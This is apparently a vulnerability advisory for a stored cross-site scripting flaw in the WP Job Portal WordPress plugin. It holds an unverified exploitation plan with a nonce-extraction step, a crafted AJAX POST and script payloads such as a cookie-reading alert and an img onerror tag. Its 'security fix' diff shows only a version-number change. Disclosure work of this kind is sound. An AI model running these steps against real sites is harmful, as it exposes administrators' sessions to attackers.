CVE-2026-48880

WP Job Portal – AI-Powered Recruitment System for Company or Job Board website <= 2.5.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
2.5.3
Patched in
7d
Time to patch

Description

The WP Job Portal – AI-Powered Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.5.2
PublishedJune 2, 2026
Last updatedJune 8, 2026
Affected pluginwp-job-portal

What Changed in the Fix

Changes introduced in v2.5.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-48880 ## 1. Vulnerability Summary The **WP Job Portal** plugin (<= 2.5.2) contains a **Stored Cross-Site Scripting (XSS)** vulnerability. The vulnerability exists in the plugin's centralized AJAX handling mechanism. Specifically, the `WPJOBPORTALajax::ajaxhan…

Show full research plan

Exploitation Research Plan - CVE-2026-48880

1. Vulnerability Summary

The WP Job Portal plugin (<= 2.5.2) contains a Stored Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the plugin's centralized AJAX handling mechanism. Specifically, the WPJOBPORTALajax::ajaxhandler function in includes/ajax.php allows authenticated users (with Subscriber/Jobseeker roles) to call a wide range of internal "tasks" across various modules. Many of these tasks (such as job applications or resume updates) store user-supplied input in the database without proper sanitization. Furthermore, the AJAX handler echoes the results of these tasks directly to the page without escaping, and the stored data is subsequently rendered unsanitized in administrative or employer-facing views.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wpjobportal_ajax
  • Vulnerable Parameters: task, wpjobportalme, and module-specific data parameters (e.g., message, tag_name, comment).
  • Authentication: Required (Subscriber/Jobseeker level).
  • Vulnerable Hook: wp_ajax_wpjobportal_ajax and wp_ajax_nopriv_wpjobportal_ajax in includes/ajax.php.
  • Preconditions: A Jobseeker account is needed to access the dashboard and perform actions like applying for jobs or managing resumes.

3. Code Flow

  1. Entry Point: A request is sent to admin-ajax.php with the action wpjobportal_ajax.
  2. Dispatcher: includes/ajax.php calls WPJOBPORTALajax::ajaxhandler().
  3. Task Validation: The function checks if the requested task is in the $fucntin_allowed array.
  4. Module Loading: It retrieves the wpjobportalme parameter (the module name) and sanitizes it via sanitize_key().
  5. Dynamic Call: It uses WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task() to execute the logic.
  6. Persistence (Sink): If the task is jobapply or storeResumeComments, the model saves the user-provided input (like a message or comment) into the database (typically in wj_portal_job_apply or similar custom tables).
  7. Rendering (Sink): When an Admin or Employer views the "Applied Jobs" or "Resume" section, the stored malicious script is executed in their browser context.

4. Nonce Acquisition Strategy

The AJAX handler in includes/ajax.php does not perform a nonce check (check_ajax_referer) at the dispatcher level. However, individual model functions may verify a nonce. To obtain a valid nonce for a Jobseeker:

  1. Setup Page: Create a page containing the Jobseeker Control Panel shortcode:
    wp post create --post_type=page --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]'
  2. Navigate: Use browser_navigate to visit the newly created page.
  3. Extract: The plugin localizes its variables in a global JavaScript object, typically wjportal_obj or wpjobportal_vars.
  4. Tool Call: Use browser_eval to find the nonce:
    browser_eval("window.wjportal_obj?.nonce || window.wpjobportal_vars?.nonce")
  5. Manual Check: If the variable name differs, inspect the page source for wp_localize_script output near the wp-job-portal JS inclusions.

5. Exploitation Strategy

We will use the jobapply task, as it is a common way for Jobseekers to interact with Employers/Admins.

Step 1: Identify a Target Job

Identify an existing job ID. If none exists, create one via WP-CLI:
wp post create --post_type=job --post_title="Target Job" --post_status=publish (Note: job is the custom post type for this plugin).

Step 2: Perform the Injection

Submit a job application with an XSS payload in the message field.

  • Request Type: POST
  • URL: http://[target]/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: wpjobportal_ajax
    • task: jobapply
    • wpjobportalme: job
    • jobid: [JOB_ID]
    • message: <script>alert(document.cookie)</script>
    • resumeid: 0 (or a valid resume ID if one exists)
    • nonce: [EXTRACTED_NONCE]

Step 3: Trigger the XSS

Log in as an Administrator and navigate to the Job Portal -> Applied Jobs section in the WordPress dashboard. The script will execute when the list of applications is rendered.

6. Test Data Setup

  1. Plugin Configuration: Ensure the plugin is active.
  2. User Creation:
    • Create an admin user (for verification).
    • Create a subscriber user: wp user create attacker attacker@example.com --role=subscriber.
  3. Shortcode Page:
    • wp post create --post_type=page --post_title="Dashboard" --post_status=publish --post_content='[wpjobportal_jobseeker_controlpanel]'
  4. Job Listing:
    • Ensure at least one job exists for the application to target.

7. Expected Results

  • The AJAX request should return a success message (e.g., "Applied Successfully").
  • Upon viewing the "Applied Jobs" table in the admin panel, an alert box showing the admin's cookies should appear.
  • The database entry for the application should contain the raw <script> tag.

8. Verification Steps

  1. Check Database:
    Use WP-CLI to inspect the application data:
    wp db query "SELECT message FROM wp_wj_portal_job_apply ORDER BY id DESC LIMIT 1;"
    Verify the output contains the unescaped script tag.
  2. Simulate View:
    Navigate to the admin page /wp-admin/admin.php?page=wpjobportal_appliedjobs (inferred slug) and check if the payload triggers.

9. Alternative Approaches

  • Task: storeResumeComments: If the jobapply task is patched, try adding a comment to a resume.
    • task: storeResumeComments
    • wpjobportalme: resume
    • comment: <img src=x onerror=alert(1)>
  • Task: saveTokenInputTag: Inject XSS into "Skills" or "Tags" which are often rendered in profile headers.
    • task: saveTokenInputTag
    • wpjobportalme: resume
    • tag_name: XSS_PAYLOAD
  • Unauthenticated Check: Test if nopriv_wpjobportal_ajax actually allows these tasks without login, as suggested by the registration in includes/ajax.php. If so, the severity is High.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Job Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via its centralized AJAX handler in versions up to 2.5.2. Authenticated attackers with Subscriber or Jobseeker privileges can inject malicious scripts into fields such as job application messages or resume comments, which are stored in the database and executed when an administrator or employer views the content.

Vulnerable Code

// includes/ajax.php line 30
    function ajaxhandler() {
        $fucntin_allowed = array('DataForDepandantFieldResume', 'DataForDepandantField', 'saveJobShortlist', 'saveJobShortlistJobManager',
                                'getQuickViewByJobId', 'getShortListViewByJobId', 'getShortListViewByJobIdJobPortal', 'getApplyNowByJobid',
                                'jobapply', 'jobapplyjobmanager', 'getTellaFriend', 'getTellaFriendJobManager', 'deletecompanylogo', 'deleteResumeLogo',
                                'getuserlistajax', 'getLogForUserById', 'getFieldsForComboByFieldFor', 'getSectionToFillValues', 'getUserIdByCompanyid',
                                'changeNotifyOfNotifications', 'changeViewOfNotifications', 'getOptionsForFieldEdit', 'listdepartments',
                                'saveTokenInputTag', 'makeJobCopyAjax', 'getsubcategorypopup', 'updateJobApplyResumeStatus', 'getResumeCommentSection',
                                'getFolderSection', 'saveToFolderResume', 'storeResumeComments', 'setResumeRatting', 'getResumeDetail', 'getEmailFields',
                                'jobapplyid', 'getFolderSection', 'getFolderSectionJobManager', 'saveToFolderResume', 'sendEmailToJobSeeker',
                                'setJobApplyRating', 'getResumeDetailJobManager', 'getEmailFieldsJobManager', 'hideTemplateBanner', 'getListTranslations',
                                'validateandshowdownloadfilename', 'getlanguagetranslation', 'getPacakageListByUid', 'canceljobapplyasvisitor',
                                'visitorapplyjob', 'removeResumeFileById', 'getResumeSectionAjax', 'deleteResumeSectionAjax', 'getOptionsForEditSlug',
                                'getAllRoleLessUsersAjax', 'getNextJobs', 'getNextTemplateJobs','savetokeninputcity','sendmessageresume', 'sendmailtofriend',
                                'getJobApplyDetailByid', 'setListStyleSession','sendmailtofriendJobManager', 'getResumeCommentSectionJobManager',
                                'getPaymentPopup','getPackagePopupForFeaturedCompany','getPackagePopupForFeaturedJob','getPackagePopupForFeaturedResume',
                                'getPackagePopupForJobAlert','getPackagePopupJobView','getPackagePopupForCopyJob','getPackagePopupForCompanyContactDetail',
                                'getPackagePopupForResumeContactDetail','gettagsbytagname','listDepartments','getPackagePopupForDepartment','deleteUserPhoto',
                                'getStripePlans','downloadandinstalladdonfromAjax','getChildForVisibleCombobox','isFieldRequired','getFieldsForComboBySection',
                                'getUserRoleBasedInfo','storeConfigurationSingle','importZywrapData','checkZywrapApiKey','importZywrapBatchProcess',
                                'getWrappersByCategory','executeZywrapProxy','getZywrapAllWrappers','getSchemaByUseCode','getAjaxJobs');
        $wpjobportal_task = WPJOBPORTALrequest::getVar('task');
        if($wpjobportal_task != '' && in_array($wpjobportal_task, $fucntin_allowed)){
            $wpjobportal_module = WPJOBPORTALrequest::getVar('wpjobportalme');

            // $wpjobportal_module = str_replace("..","",$wpjobportal_module);
			// $wpjobportal_module = str_replace("/","",$wpjobportal_module);
            $wpjobportal_module = sanitize_key( $wpjobportal_module );

            $wpjobportal_result = WPJOBPORTALincluder::getJSModel($wpjobportal_module)->$wpjobportal_task();
            // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Intentional raw response (AJAX / HTML)
            echo $wpjobportal_result;
            die();
        }else{
            die('Not Allowed!');
        }
    }

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-job-portal/2.5.2/includes/activation.php /home/deploy/wp-safety.org/data/plugin-versions/wp-job-portal/2.5.3/includes/activation.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-job-portal/2.5.2/includes/activation.php	2026-04-27 04:23:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-job-portal/2.5.3/includes/activation.php	2026-05-19 04:27:34.000000000 +0000
@@ -468,7 +468,7 @@
               ('searchjobtag', '4', 'job', 'tag'),
               ('categories_colsperrow', '3', 'category', NULL),
               ('productcode', 'wpjobportal', 'default', NULL),
-              ('versioncode', '2.5.2', 'default', NULL),
+              ('versioncode', '2.5.3', 'default', NULL),
               ('producttype', 'free', 'default', NULL),
               ('vis_jscredits', '0', 'jscontrolpanel', 'credits'),
               ('vis_emcredits', '1', 'emcontrolpanel', NULL),

Exploit Outline

To exploit this vulnerability, an attacker first authenticates as a user with Subscriber or Jobseeker privileges. By visiting a page containing the plugin's control panel shortcode, they extract a valid AJAX nonce from the localized JavaScript objects (e.g., 'wjportal_obj'). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'wpjobportal_ajax' and the 'task' set to 'jobapply'. Within the 'message' parameter, the attacker includes a malicious script. Because the dispatcher dynamically calls the model function without sanitizing this input, the script is stored in the database. The XSS triggers when an Administrator or Employer views the 'Applied Jobs' section in the WordPress dashboard, causing the script to execute in their browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.